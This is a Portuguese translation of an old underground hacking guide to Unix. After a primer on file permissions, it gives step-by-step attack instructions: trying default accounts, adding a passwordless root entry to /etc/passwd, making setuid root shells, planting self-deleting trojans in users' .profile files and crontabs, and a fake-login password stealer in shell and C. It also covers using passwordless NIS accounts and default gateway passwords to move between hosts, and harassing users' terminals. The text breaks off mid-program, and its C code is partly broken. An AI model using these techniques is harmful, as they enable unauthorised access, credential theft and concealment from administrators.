Ok.  Permissoes de arquivos nao sao realmente complicados.  Cada arquivo tem um dono
Esse dono e geralmente aquele que criou o arquivo, ou por copiar um arquivo 
ou apenas por te-lo editado.  O programa CHOWN pode ser usado para alterar
o dono de um arquivo.  Lembre-se que o dono de um arquivo deve ser aquele que
rodou o CHOWN, uma vez que ele e o unico que pode alterar a permissao de um arquivo.
Outra coisa, existe um dono do grupo, que e basicamente o grupo que voce esta quando o
arquivo foi criado.  Voce pode usar chgrp para mudar o grupo de um arquivo.

Agora, arquivos podem ter permissoes de serem executados, permissoes de leitura, 
ou permissao de escrita.
Se voce tiver permissao de execucao, voce sabe que voce pode simplesmente escreve o nome
do programa na linha de comando, e ele sera executado.  Se voce tiver permissao de 
leitura de um arquivo, voce pode, obviamente, ler o arquivo, ou fazer algo que lei o
arquivo, tal como copiar o arquivo.
Se voce nao tiver acesso a um arquivo, voce nao pode fazer nada que requeira 
ler o arquivo.  Essa e a mesma coisa com a permissao de arquivo.  Agora todas as permissoes
sao arranjada em 3 grupos.  O Primeiro e a permissao do dono.  Ele pode ter as permissoes
configuradas para si proprio para ler e executar, mas nao escrever no aruqivo.
Isso para impedir que o dono apague o arquivo.
O segundo grupo e a permissao do grupo.  Pegue uma entrada de arquivos para
ter um exemplo:
 $ ls -l runme
 r-xrwxr-- sirhack       root     10990 March 21  runme

ok.  Agora, o "root" e o grupo onde o arquivo esta.  "sirhack" e o dono.
Agora, se o grupo chamado 'root' tem acesso para ler, escrever e executar, eles
podem fazer isso.  Veja .. Scythian veio atras do arquivo, ele esta no grupo chamado root.
Ele pode ler, escrever ou executar o arquivo.  Agora, o datawiz veio atras do arquivo tambem,
mas ele esta no grupo "users".  A permissao de grupo nao pode ser aplicada para ele,
significando que ele nao tem permissioes, assim ele nao pode tocar no arquivo, certo? so he couldn't touch
Errado.  Existe um terceiro grupo de permissoes, e esse e o "outros" grupos.  Isso significa que as 
permissoes em "outros" grupos aplicam-se para todos alem dos dono e dos usuarios do mesmo grupo do arquivo.
Olhe na entrada de diretorio ao lado.  O r-x-rwxr-- e a lina de permissoes
Os primeiros 3 caracteres sao as permissoes para o dono (r-x).  O
"r-x" traduz-se para "permissao de ler e executar, mas sem escrever"
o segundo conjundo do 3, r-xRWXr-- (aqueles em maisculas) sao as permissoes de grupos.
Significa que "leitura, gravacao e execucao sao permitidas"
O 3§ conjunto, r-xrwxR-- e a permissao para os todos os outros .  Isso significa 
"somente a leitura e permitida".  Um diretorio pode parecer como isso:
$ ls -l
 drwxr-xr-x sirhack     root  342 March 11  src

Um diretorio tem um "d" no inicio da linhas de permissoes.  Agora, o dono
do diretorio (sirhack) pode ler do diretorio, escrever no diretorio
e executar programas do diretorio.  O grupo do root e todos os outros
podem apenas ler a partir no diretorio, e executar programas no diretorio.
Assim, se eu mudei o diretorio para ser executavel apenas, isso e como ele sera:
$ chmod go-r
$ ls
drwx--x--x sirhack   root  342  March 11  src

Agora, se alguem esta nesse diretorio, ele podem somente executar programas
do diretorio.  Se ele fizerem um "ls" para pegar uma listagem de arquivos do
src, ira aparecer "cannot read directory".
Se ha uma arquivo que pode ser lido no diretorio, mas o diretorio nao pode ser
lido, e quase impossivel ler o arquivo, a menos que voce saiba o nome do arquivo.

Se voce nao tem permissao para executar em um diretorio, voce nao sera capaz de
executar algo no diretorio.

_____________________________________________________________________________

--------------
Hackeando:
--------------
        O primeiro passo em hackear o UNIX e entrar no sistema operacional
encontrando um conta valida/senha.  O objetivo de hackear e geralmente ser o
root (privilegio total), assim se voce e sortudo o suficiente para saber ser o root,
voce nao precisa mais ler nada desse arquivo, e pode passar para secao
"Divertindo-se".  Hackear pode ser simplesmente pegar contas de outras pessoas.

Entrando
----------
        A primeira coisa a fazer e entrar no Unix.  Ou seja, passar do prompt de login.
Essa e a primeira coisa.  Quando voce entra em um UNIX, algumas vezes ele ira 
identificar a si proprio dissendo o seguinte,
"LeBeau INC. et al Company UNIX"

ou apenas
"LeBeau Inc.  Please login"

        Aqui e onde voce tentara as contas padrao que eu mostrei.  Se voce entrar
com aquele, voce pode tentar fazer o mais avancado ato de hackers (ser o root). 
Se voce faz algo errado no login, voce tera a messagem "login incorrect"
Isso foi feito para confundir os hackers, ou manter a maravilha.  Porque?
Bem, voce nao sabe se voce entrou uma conta que nao existe, ou uma que existe e
errou a senha.  Se voce der um login e ele disser "Not on Console", voce tem um problema.  
Voce tera que dar um login como alguem mais, e usar SU para ser o root.

   Agora, isso e onde voce tem que pensar (Como diz meu professor, perder a virgindade do
cerebro).  Se voce nao entrar com um default, voce esta obviamente indo ter que encontrar alguma
coisa a mais para dar um login.  Alguns sistema tem uma boa forma de fazer isso 
permitindo o uso de logins de comando.  Sao os que simplesmente executar um comando,
depois dao um logoff.  Entretando, os comandos que eles executas sao geralmente muito uteis.
Por exemplo, existem 3 comandos muitos comuns que mostras que esta conectado naquele momento.
Eles sao:
        who
        rwho
        finger

    Se voce conseguir fazer um desses funcionar, voce pode tentar os nomes dos usuarios
que estao conectados.  Muitos de usuarios usam o nome da conta como senha.  Exemplo
o "bob" pode ter uma senha "bob" ou "bob1".   Isso, como voce sabe, nao e esperto,
mas eles nao esperam que um hacker venha tentar fazer isso com eles.  Eles somente querem
ser capazer de entrar rapidamente.
   Se um login de comando nao existe, ou nao e util, voce pode ficar com a cabeca quente.
Uma boa coisa para tentar e usar o nome do unix que ele esta identificado.
Por Exemplo, o Unix da LeBeau INC pode ter uma conta chamada
"lebeau"
        LeBeau, INC.  Please Login.
        login: lebeau
        UNIX SYSTEM V REL 3.2
        (c)1984 AT&T..
        ..
        ..
        ..
    
   Alguns unixes tem uma conta aberta chamada "test".  Isso tambem e um padrao,
mas isso e surpreendemente suficiente, ele algumas vezes deixado aberto.  E bom
tentar usar ele.  Lembre-se, cabeca quente e a chave para um unix que nao tem 
aparentemente nenhum padrao aberto.  Pense nas coisas que podem ter relacao com esse
Unix.  Digite coisas tipo "info", "password", "dial", "bbs" e outras cositas mas
que podem pertencer ao sistemas "att" esta presente em algumas maquinas tambem.

UMA VEZ DENTRO -- ARQUIVOS ESPECIAIS
----------------------------
        Existem muitos arquivos que sao muito importantes para o ambiente do UNIX.
Sao as que seguem:

/etc/passwd  - Essa e provavelmente o arquivo mais importante no UNIX, porque?
               bem, basicamente, ele possui as contas validas/senhas.
               Isso e importante uma vez que apenas aquelas listado no passwd
               podese dar login, e algumas delas nao pode-se (vou explicar).
               The format for the passwordfile is this:

nome:senha:UserID:GroupID:descricao(ou nome real):homedir:shell

                Aqui estao duas entradas de exemplo:

sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
demo::101:100:Test Account:/usr/demo:/usr/sh

                Na primeira linha, sirhack e um usuarui valido.  O segundo campo,
                entretando, e suposto para ser uma senha, certo?  Bem, ela e, mas estas
                encripatada com o algoritmo de encriptacao da DES.
                a parte que diz "&a,Ty" pode incluir um data depois da virgula
                (Ty) que fala ao unix quando a senha expira.  Sim, a data esta encriptada
                em dois caracteres alfanumericos (Ty).

                No segundo exemplo, a conta demo nao tem senha.
                Assim no Login, voce pode digitar:

login: demo
UNIX system V
(c)1984 AT&T
..
..

                Mas com sirhack, voce tem que entrar uma senha.  Agora,o
                arquivo de senhas e grande, muitas vezes, voce sera capaz
                de navegar atraves dele olhando por contas sem senhas.  
                Lembre-se que algumas contas podem ser restritas de se 
                logar com elas, exemplo:

bin:*:2:2:binaccount:/bin:/bin/sh

                O '*' significa que nao pode dar um login com ele.  Sua
                unica finalidade sera rodar um shell SUID shell (explicado mais tarde).

        Um nota sobre a encriptacao DES:  cada unix faz a sua propria 
"palavra chave" como base de sua encriptacao.  Muitas vezes e somente letras aleatorias
e numeros.  Sao escolhidas na instalacao pelo sistema operacional.
        Agora, decripitar coisas encriptadas com DES nao e facil.  E quase 
impossivel.  Especialmente decriptar o arquivo de senhas (decriptar o campo com
a senhas no arquivo de senhas para se exato).  Nunca acredite em um hacker que
diz que decriptou um arquivo de senhas.  Ele provavelmente esta mentindo.  
As Senhas nunca sao decriptados no unix, mas ao contrario, uma chamada ao sistema
e feita para uma funcao chamada "crypt" de dentro da linguagem C, e a string que voce
entrou como a senhas fica encriptada, e comparada com a senhas encriptada.  Se 
elas combinas, voce esta dentro.  Agora, existem hackers de senhas, mas eles
nao decriptas o arquivo de senhas, mas ao contrario, encriptam palavras de um dicionario
e testam elas em cada conta (criptografando/comparando) ante que ele encontra
uma igualdade.  Lembre-se, poucos, talvez ninguem, conseguiram decriptar o arquivo
de senhas com sucesso.

/etc/group - Esse arquivo contem os grupos validos.  O arquivo de grupos e geralmente
             definido como esse:
             grupo:senha:groupid:usuarios no grupo

         De novo, as senhas sao encriptadas aqui tambem.  Se voce ve uma senhas
         em branco voce podera ser parte daquele grupo usando o comando "newgrp". 
         Agora, existem casos em que alguns grupos sem senhas irao apenas permitir
         certos tipos de usuarios entrem naquele grupo via o comando newgrp
         Geralmente, se o ultimo campo e deixado em branco, isso significa que qualquer
         usuario pode usar newgrp para ter o acesso ao grupo.  De outra forma, apenas
         os usuarios especificado no ultimo campo podem entrar no grupo por newgrp.
         
        Newgrp e apenas um programa que ira muidar seu grupo atual por aquele que voce
        especificar. A sintaxe e:
         newgrp grupo
        Agora, se voce encontrar um crupo sem senha e usar newgrp para entra nele,
        e ele pedir uma senha, voce nao esta permitido de usar o grupo.
        Eu explicarei melhor isso na secao "SU & Newgrp".

/etc/hosts - Esse arquivo contem uma lista de host que o UNIX esta conectado 
             atrave de uma rede de hardware (tipo um elo x.25 ou algo assim), 
             ou as vezes por UUCP.  Esse e um bom arquivo quando voce esta hackeando
             uma rede enorme, uma vez que ele mostra a voce sistemas que voce pode usar com
             rsh (Shell Remote, nao restrito shell), rlogin, e telnet,
             tao bem como outros programas de elo de ethernet/x.25.

/usr/adm/sulog (or su_log) - O arquio sulog (ou su_log) pode ser encontrado em
             muitos diretorios, mas ele e geralmente no /usr/adm.  Esse arquivo
             e o que ele parece.  E um arquivo de log, para o programa SU.
             O que ele faz e manter um registro de quem usa SU e quando.
             quando voce usar o SU, a melhor coisa a fazer e editar esse arquivo
             se possivel, e eu vou falar como e porque na secao sobre usar "su".
             
/usr/adm/loginlog
ou /usr/adm/acct/loginlog -
        Esse um arquivo de log, mantendo o traco dos logins.
        Sua atuacao e meramenta para controle de contas e "revisao de seguranca".  Realmente,
        algumas vezes esse arquivo nunca e encontrado, uma vez que muitos sistemas mantem o
        o log das contas desligado.

/usr/adm/errlog
ou errlog -     Esse e log de erro.  Ele pode ser localizado em qualquer lugar.
                Ele tem os tracos de todos os erros serios e as vezes nem tao serios erros.
                Geralmente, ele ira conter um codigo de erro, depois uma situacao.
                o codigo de erro varia de 1 a 10, quanto maior, pior o erro.
                Erro de codigo  6 e geralmente usada quando voce tenta hackear.
                "login" loga sua tentativa no errlog com codigo de erro 6.  
                Codigo de erro 10 significa "SYSTEM CRASH".

/usr/adm/culog - Esse arquivo contem entradas que mostram quando voce usou cu,
                 onde voce chamou e outras coisas.  Outra negocio de seguranca.

/usr/mail/ - Esse e onde o programa "mail" armazena o mail.
                        para ler uma caixa de correio particular, voce tem que 
                        ser esse usuario, no grupo de usuarios "mail" ou root.  
                        cada caixa de correio e apenas um nome.  Exemplo, se minha
                        conta e "sirhack" meu arquivo de email deve se,geralmente:
                        /usr/mail/sirhack

/usr/lib/cron/crontabs - Esse contem as instrucoes para o cron, geralmente.
                         Veremos isso mais tarde.

/etc/shadow - Um arquivo de senhas "escondidas", falarei sobre isso mais tarde.


-- A conta BIN --

       Bem, nesse momento, eu gostaria de pegar um espaco para falar sobre a 
conta "bin".  Mesmo que ela seja uma conta com nivel de usuario,  ele e muito
poderosa.  Ela e dona de quase todos os arquivos, e em muitos sistemas, ela possui
/etc/passwd, o arquivo mais importante no unix.  Olhe, a conta bin possui muitos dos
arquivos binarios (bin), assim como os outros arquivos usados pelos arquivos binarios,
tal como o login.  Agora, sabendo o que voce ja sabe sobre permissoes de arquivo,
se o bin possui o arquivo passwd, voce pode editar passwd e acrescentar uma entrada
de root para si proprio.
Voce pode fazer isso pelo comando edit:
$ ed passwd
10999 [O tamanho do passwd varia]
* a
sirhak::0:0:Mr. Hackalot:/:/bin/sh
{control-d}
* w
* q
$

Entao, voce diz: exec login, entao voce pode dar login como sirhack e
voce sera root.

/\/\/\/\/\/\/\/\/
Hackeando........
/\/\/\/\/\/\/\/\/

--------------
Acrescentando contas
--------------

        Existem outros programas que irao acrescentar usuarios no usuario,
alem do ed. Mas muitos desses programas nao irao permitir um usuario com nivel de
root seja acrescentado, ou algo menos que uma UID de 100.  Um desses programas e
chamado "adduser".  Agora, a razao que eu fiz essa pequena secao, e para aqueles
que querem usar o unix para algo util.  Digamos que voce queira um "endereco de
correspondencia".  Se o unix tem uucp nele, ou se e um grande colecio,
as chances sao que ele ira fazer transferencias de email.  Voce tera que testar
o unix tentando enviar email para um amigo em algum lugar, ou apenas enviando um 
email para si proprio.
Se o programa de email e identificado como "smail" quando voce manda uma carta a 
si proprio (o nome do programa ira aparecer na messagem) isso provavelmente significa
que o sistema ira enviar correio UUCP.  Essa e uma boa forma para manter contato com
alguem.
Agora, isso e porque voce precisa de uma conta semi-permanente.  O modo de arquivar isso
e acrescentando uma conta similar a aquelas que existem no sistema.  Se todas as
contas com nivel de usuario (UID >= 100) sao abreviacoes com tres letras, tipo
"ogb" para O Gato Bill, ou "brs" para bill ryan smith, acrescente uma conta via
adduser, e faca um nome tipo sally jane marshall ou algo assim,
(eles nao espera que hackers ponham nomes femininos) e tenha uma conta
chamada sjm.  Veja, na descricao da conta (tipo Mr. Hackalot acima), e la onde
o nome real e geralmente armazenado.  Assim, sjm ira ficar assim:
     sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
E claro que voce ira colocar uma senhas nessa senhas, certo?
Tambem, id de grupos nao tem que ser acima de 100, mas voce pode por a conta
em uma que exista.  Agora, uma vez que deu um login com essa conta, a primeira 
coisa que voce fara e executar "passwd" para por uma senha.  Se voce nao o fizer,
provavelmente outra pessoa o fara para voce.

-------------------
Mudar o ID do usuario
-------------------

        Esse provavelmente um dos esquemas mais usados.  Alterando uma "UID-
Shell". O que isso significa?  Bem, isso basicamente significa que voce esta
mudando bit do usuario em um programa.  O programas mais usado e um
shell (csh,sh, ksh, etc).  Porque?  Pense sobre isso:  Voce tera acesso a tudo que 
o dono do arquivo tem.  Um shell UID altera o id do usuario de uma pessoa que o
executa.  Assim, se um root possui um shell de uid, entao voce sera root quando
voce o rodar.  Esse e uma alternativa para se tornar root.

        Digamos que voce entrou e modificou o arquivo de senhas e deixou a conta
root sem senha, assim voce pode pegar ela.  E claro, voce tera que
pegar logo essa conta senao isso sera descoberto eventualmente.  Assim, o que voce
fazer e pegar uma conta de usuario normal para si proprio, e depois, fazer um
shell uid.  Geralmente voce pode usar /bin/sh para isso.  Depois de acrescentar
um usuario regular para o arquivo passwd, e mudar/verificar seu diretorio home.
voce pode fazer algo como isso:
(assumindo que voce pegou a conta: shk)
 # cp /bin/sh /usr/shk/runme
 # chmod a+s /usr/shk/runme

Isso e tudo o que voce tem que fazer.  Quando voce conectar como shk, voce podera fazer
isso:

 $ runme
 #

Viu?  Voce sera o root.  Aqui esta uma coisa a fazer:

$ id
uid=104(shk) gid=50(user)

$ runme
# id
uid=104(shk) gid=50(user) euid=0(root)
#

O euid e o Id do usuario "efetivo" user ID.  shells de UID apenas mudam o efetivo
user id, nao o real id de usuario.  Mas, o id de usuario efetivo sobrepoem o
id de usuario real.  Agora, voce pode, se voce quiser pode usar outros programas para fazer
isso.  O que eu quero disser?  Por exemplo, faca do 'ls'
um shell do root. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap

Ls sera entao capaz de espiar qualquer diretorio.  Se voce fizer o mesmo para
"cat" voce podera ver qualquer arquivo, se voce fizer isso com rm, voce podera apagar
qualquer arquivo.  Se voce fizer isso com 'ed', voce pode editar qualquer arquivo em qualquer lugar
do sistema (geralmente).


Como eu me torno root?
------------------

   Boa pergunta.  Para fazer um programa alterar a id do shell do usuario para root,
voce tem que ser root, a menos que voce tenha sorte.  Como assim?  Bem, digamos que
voce encontre um programa que mudar o id do usuario para root.  Se voce tiver acesso
para escrever aquele arquivo, o que entao?  voce podera copiar sobre ele, mas continuar
o bit de uid inalterado.  Assim, digamos que voce viu que o programa chsh esta mudando 
o id de usuario para root.  Entao voce podera copiar o /bin/sh sobre ele.

$ ls -l
rwsrwsrws  root     other  10999 Jan 4  chsh
$ cp /bin/sh chsh
$ chsh
#

Viu?  Isso e apenas um modo.  Existem outras, que eu vou falar agora.


Mais modos de alterar o UID
-----------------------

        Agora, a forma generica de fazer um programa alterar o bit de Id do 
usuario e usar esse comando:

chmod a+s file

Onde 'file' e um arquivo valido existente.  Agora, apenas que tem o arquivo 
pode alter o bit de Id do usuario.  Lembre-se, qualquer coisa que VOCE cria, 
VOCE e o dono, assim se voce copiar o /bin/sh, assim se voce copia
o /bin/sh, aquela conta que voce esta conectado e o dono do arquivo, ou se o
UID e alterado para outra pessoa, o novo UID e o dono do arquivo.  Isso me leva
ate permissoes de arquivo RUINS.



II. HACKEANDO : Permissoes de arquivos ruins

        Agora, o que eu quero dissero com permissoes de arquivo ruins?  Bem, procures 
arquivos que VOCE possa escrever, e acima de tudo, DIRETORIOS que voce possa escrever.
Se voce tiver permissao de escrever em um arquivo, voce pode modifica-lo.  Agora, isso chega
na hora quando se quer roubar o acesso de alguem.  Se voce pode escrever para o
arquivo .profile do usuario, voce esta no negocio.  Voce pode fazer com que .profile do usuario
crie um shell suid para voce rodar quando voce conectar depois do usuario.
Se o .profile pode ser escrito por voce, voce pode fazer isso:

$ ed .profile
[algum numero ira estar aqui]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

  Agora, quando o usuario conectar de novo, o .profile ira criar .runme que
  ira alterar o seu ID para o do usuario que voce alterou o arquivo.  Depois voce ira
  voltar e apagar aqueleas linhas depois que o suid foi criado, e voce ira copiar
  o suid para outro lugar e apagar aquele no diretorio do usuario.  O .runme nao
  ira aparecer na listagem de diretorios normal, ira apenas aparecer se ele fizer
  "ls -a" (ou ls com uma combinacao de -a), porque, o '.' deixa um arquivo
  escondido.

O codigo abaixo e um CAVALO DE TROIA, que e um dos mais usado/abusado
metodo de ganhar mais poder no unix. O codigo pode ser feito em C via
comando system(), ou apenas usando open(), chmod(), etc.
* Lembre-se para ver se o .profile do root pode ser escrito*
* ele esta localizado no /.profile (usualmente) *


   A melhor coisa que pode acontecer  e encontrar um diretorio de usuario que pode
   ser escrito por voce.  Poqeu?  Bem, voce pode trocar todos os arquivos no
   diretorio por seu scripts ou Cavalos de Troia em C.  Mesmo que um arquivo
   nao possa ser escrito por voce, voce pode apagar ele ou sobrescrever ele.
   Se voce pode ler varios arquivo, tal como o .profile do usuario, voce pode
   fazer um Cavalo de Troia que se alto apaga, como o seguinte:
   

 $ cp .profile temp.pro
 $ ed .profile
 1234
 ? a
 cp /bin/sh .runme
 chmod a+x .runme
 chmod a+s .runme
 mv temp.pro .profile
 (control-d)
 ? w
 [outro numero]
 ? q
 $ chown aquele_usuario temp.pro

  O que aconteceu e que voce fez uma copia do .profile antes de voce mudar ele.
  Entao, voce mudou o original.  Quando ele roda isso, os passos sao feitos entao
  a versao original e posta sobre a original, assim se o idiota olha no  
  .profile, ele nao vera nada fora do normal, exceto que ele pode ver
  que a data e mais recente, mas muitos usuarios nao sao paranoicos o suficiente
  para fazer checagens extensivas nos seus arquivos, exceto arquivos do sysadm 
  (tal como o passwd).

  Agora, lembre-se mesmo tendo permissao de escrever para um dir, voce pode nao ser capaz
  de escrever para um arquivo sem apagar ele.  Se voce nao tiver permissao para 
  escrever naquele arquivo, voce tera que apagar ele e escrever algo nele
  (ponha um arquivo com o mesmo nome la). A coisa mais importante a lembrar
  e que se voce deletar o .profile voce tera que MUDAR o DONO do arquivo depois de
  voce fazer um novo (hehe) para aquele usuario.  Ele pode facilmente perceber que o arquivo
  .profile foi alterado e ele vai saber que fez isso.  SIM, voce pode mudar o dono
  para alguem mais alem de voce e o dono original (como para manter o dono sem suspeitas de voce).

  Voce pode facilmente mudar os arquivos cron se voce pode escrever neles.  Eu nao estou indo
  entrar em detalhes sobre formatos de arquivos cron aqui, apenas encontre o arquivo crontab
  e modifique ele para criar um shell em qualquer lugar como root,
  e mudar o id do usuario.

III. Cavalos de Troia em terminais.
        Basicamente isso:  Voce pode enviar lixo para a tela do usuario e
        mexer com ele tao mal para forcar que ele faca um logoff, criando uma 
        conta vazia.  Entao voce pode executar um cavalo de troia naquele terminal no
        lugar do login ou alguma coisa, assim o proximo que chamar irar pegar o Cavalo de troia.
        Isso geralmente tem a forma de um falso login. Depois escreve o nome da conta/senha
        digitadas para o disco.

        Agora, existem outros cavalos de troia disponiveis para voce escrever.  Agora,
        nao pense em um virus, porque eles nao funcionam se o root nao o executa.
        De qualquer modo um Cavalo de Troia comum e uma script que pede a senha e as 
        envia pelo email para voce.  Agora, voce pode trocar o codigo para o cavalo auto
        destrutivo com um dissendo algo assim:
        echo "login: \c"
        read lgin
        echo off (funciona em alguns sistemas)
        (se o de cima nao funcionar...: stty -noecho)
        echo "Password:\c"
        read pw
        echo on
        echo "Login: $lgin - Pword: $pw" | mail you

        Agora, o melhor modo de usar isso e por isso em um script seperado
        assim ele pode ser deletado como parte do Cavalo de Troia auto destrutivo .
        Outra modificacao que pode ser feita, removendo o "login: " e deixando o
        Password, isso pode ficar parecido com o SU, assim voce pode pegar a senha do root.
        Mas tenha certeza que o programa apaga a si proprio.  Aqui esta um exemplo de 
        login cavalo de troia em C:

        #include 
        /* Get the necessary defs.. */
        main()
        {
          char *name[80];
          char *pw[20];
          FILE *strm;
          printf("login: ");
          gets(name);
          pw = getpass("Password:");
          strm = fopen("/WhereEver/Whateverfile","a");
          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
          fclose(strm);
          /* ponha algum tipo de erro embaixo... */
          printf("Bus Error - Core Dumped\n");
          exit(1);
          }

        O programa pede o login e a senha, e coloca isso em um arquivo
        (/wherever/whateverfile), e cria o arquivo se ele puder,
        e se nao tiver nada ali.  Isso e apenas um exemplo.  Anunciamento de 
        rede vem depois.

 IV.  Sistemas diferentes

        Existem sistemas qe voce conecta sem problemas, e encontra algum
menu, banco de dados, ou processador de textos como seu shell, sem jeito de usar
o interpretador de comandos (sh, ksh, etc..).  Nao desiste aqui.  Alguns sistemas irao
permitir que voce conecte como root, mas dar um menu que ira permitir a voce acrescente uma conta.
Entretando, alguns daqueles que fazem iso geralmente tem algum software comprado
rodando, e as pessoas que fazem o software SABEM que as pessoas que compraram isso
sao idiotas, e a coisa ira algumas vezes apenas permitir que voce acrescente
contas com id de usuario 100 ou maior, com o menu como shell. Voce provavelmente
nao pegara um shell, o programa ira provavelmente continuar na tela do usuario que
voce criou, o que e muito limitado.  Entretando, algumas vezes voce pode editar
contas, e isso ira listar contas que voce pode editar na tela.
ENTRETANTO, esses programas geralmente apenas listas aquele com UIDS > 100 assim voce
nao pode editar as contas boas, entretando, eles nao impedem que voce deixe uma conta
com um  UID < 100.  A "edicao" geralmente apenas envolve mudar a senha da conta.  Se uma
conta tem um * para uma senhas, o programa que muda as senhas, ira dizer que nenhuma senha
existe, e ira pedir a voce entrar uma. (wallah! Voce pegou uma conta para si proprio. Geralmente
bin e sys tem um * como senha).  Se a senha existe voce tera que entrar
a senha antiga (Espero que voce saiba isso!) para a conta.  Entao, voce esta no
mesmo bote que antes. (BTW -- Esses sistemas loucos sao geralmente
Xenix/386, Xenix/286, or Altos/286)
        Com processadores de textos, geralmente voce pode selecionar o comando load,
e quando o processando de texto pedir um arquivo, voce pode selecionar o arquivos passwd,
para olhar por contas abertas, ou ao menos contas valida para hackear.  Um exemplo
pode ser o sistema informix.  Voce pode pegar um processador de textos tipo
o Samna word, ou algo assim,  e aqueles Lamers nao irao proteger-se contra
uma coisa tipo aquela.  Porque?  O arquivo Passwd tem que ser legivel por todos ,
assim cada programa pode ter um "status" seu.  Entretanto, processadores de textos pode ser feitos
para edicao restrita de um diretorio, ou conjunto de diretorios.  Aqui esta um exemplo:
        $ id
        uid=100(sirhack) gid=100(users)
        $ sword
        (processador de textos aparece)
        (selecione LOAD A FILE)
        : /etc/passwd
        
        (voce ve: )
        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
        ...

Agora eu encontrei uma conta para ser pega! Posso pegar "datawiz" sem problemas,
depois eu posso mudar a senha, coisa que ele nao ira gostar
Alguns sistemas deixam o "sysadm" sem senha (stupidos!), e agora, muitas versoes
do Unix, como Xenix, Unix, BSD, ou alguns outros, eles tem um shell de sysadm
que ira deixar voce fazer toda a parte importante via menu, como criar usuarios, mas voce 
precisa ter ansi ou algo assim.

        Voce pode pedir um menu.  Algumas vezes no UNIX
        SYSTEM V, quando ele mostra TERM = (termtype), e esta esperando que voce
        apente enter ou outra coisa, voce ira pegar um menu.. ack.

V. Arquivos de senhas Escondidos (Shadowed)
        Nao tenho muita coisa a falar sobre isso.  Tudo que isso faz, e que quando cada 
        campo de senha no arquivo passwd tem um "x" ou apenas um caracter.  O que isso faz
        e mexer com voce, porque voce nao pode ler o arquivo de senhas escondido. 
        Apenas o root pode, e ele contem todas as senhas, assim voce nao ira saber
        quais as contas que nao tem senhas, entre outras coisas.
        
Existem muitos outros esquemas de hackerar o unix, desde escrever programas
em linguagem assembly que modifica o PCB ate codigo auto-alteravel que o
interrupt handler nao captura, e outras coisas tipo isso.  Entretanto e nao quero
dar mais nada.  Agora eu vou falar sobre Internet.

--->>> InterNet <<<---
        O que eu quero falar sobre InterNet?  Bem, porque ela e um 
exemplo vivo de uma rede TCP/IP, melhor conhecido como WAN (Wide-Area-Network ou 
Rede de Area Ampla). Agora, geralmente voce ira encontrar Sistemas BSD na  
Internet, ou SunOS, porque eles sao mais comuns.  Mas isso pode mudar quando
o System V, Rel 4.0, Version 2.0 chegar, de qualquer modo esses BSDs/SunOSs 
gostar de deixar facil pular de um computador para outro uma vez que voce
esta conectado.  O que acontece e que CADA sistema tem um "yello page password file". 
Melhor conhecido como yppasswd.
Se voce der uma olhada la e ver senhas vazias voce pode usar rsh, rlogin, etc..
para ir para aquele sistema.  UM sistema em particular por onde eu passei tinha
um arquivo yppasswd onde *300* usuarios nao tinhas senhas.
Uma vez que eu entrei com a conta "test", tudo o que tive que fazer era selecionar quem
eu queria ser, e fazer: rlogin -l usuario (algumas vezes -n).  Entao eu podeia conectar-me
no sistema que eu ja estava, via TCP/IP.  Entretanto, quando voce faz isso,
lembre-se que o yppasswd apenas pertence ao sistema que voce esta naquele momento
Para encontrar contas, voce pode encontar o yppasswd e fazer:

% cat yppasswd | grep ::  (Procurar por contas sem senhas)

Ou, se voce nao encontrar yppasswd..

% ypcat passwd | grep ::

Em UM sistema (que ficara confidencial), Eu encontrei a conta DAEMON 
deixada aberta no arquivo yppasswd.  Nada mal.  Atraves de um sistema na
internet, voce pode alcancar muitos.  Apenas  use rsh, ou rlogin, e olhe
no arquivo: /etc/hosts para sites validos que voce pode alcancar.  Se voce
entrar num sistema, e der um rlogin para outro lugar, e se ele pedir uma senha,
isso significa uma de duas coisas:

A. A conta que voce hackeou no computador esta no computador alvo tambem.
   Tente usar a mesma senha (se tiver) que voce a sua conta tem.  Se ela e
   um default, entao com certeza ela esta no outro sistema, boa sorte...
   
B. rlogin/rsh passam seu nome atual para o outro sistema, assim e como se voce
   digitasse no seu login no prompt de "login: ".  Voce pode nao existir na outra
   maquina.  Tente "rlogin -l nome", ou rlogin -n nome..
   algumas vezes, voce pode executar "rwho" em outra maquina, e pegar uma conta
   valida.

Algumas notas sobre servidores de Internet.  Existem "GATEWAYS" que voce pode entrar
quer permite acesso a MUITOS sites Internet.  Eles rodam uma versao modificada
do GL/1 ou GS/1.  Pessima escolha.  Eles tem arquivos de ajuda.  Entretanto,
voce pode pegar um acesso priviligiado (privileged) neles, que ira dar a voce CONTROLE do
gateway. Voce pode reseta-lo, remover sistemas da Internet, etc..
Quando voce pedir para ser privilegiado, ele ira pedir uma senha.  Existe um
default.  O default e "system".  Eu passei por  *5* gateways com a senha
default.  Depois denovo, DECNET tem a mesma senha, e eu passei por mais de 
100 sistemas com a senhas privilegiada padrao.  Legal.
O Gateway que leva para  APPLE.COM tem a senha default.  Qualquer um pudia ter
tirado a apple.com da internet.  Fique avisado que existem muitas
redes hoje em dia que usam TCP/IP.. Tal como BARRNET, LANET, e muitas outras redes de
Universidades.

--** Divertindo-se (Com a cara dos outros) **--

Agora, Depois de tudo, voce pode tentar se divertir um pouco.  Nao, Eu nao estou dissendo
em ir acabar com Winchesters, ou acabando com o elo de diretorios para pegar inodes (LeBeau: Acho
que quer disser nos na Internet, talvez), Eu digo brincar com os usuarios na rede.
Existem muitas coisas que podem ser feitas.  Redirecionar a saida de dados e uma
das melhores.  Aqui esta um exemplo:
 $ who
 loozer   tty1
 sirhack  tty2
 $ banner You Suck >/dev/tty1        
 $
 Isso envia a saida de dados para o loozer.  O TTY1 e onde a E/S esta sendo realizada
 (geralmente um modem se e um TTY).  Voce pode repetitivamente usar o banner no 
 usuario  com uma estrutura do while em shell, fazendo com que ele se desconecte. Ou
 voce pode simplesmente se diverte com ele.  Observe esse programa em C:

#include 
#include 
#include 

main(argc,argument)
int argc;
char *argument[];
{
        int handle;
        char *pstr,*olm[80];
        char *devstr = "/dev/";
        int acnt = 2;
        FILE *strm;
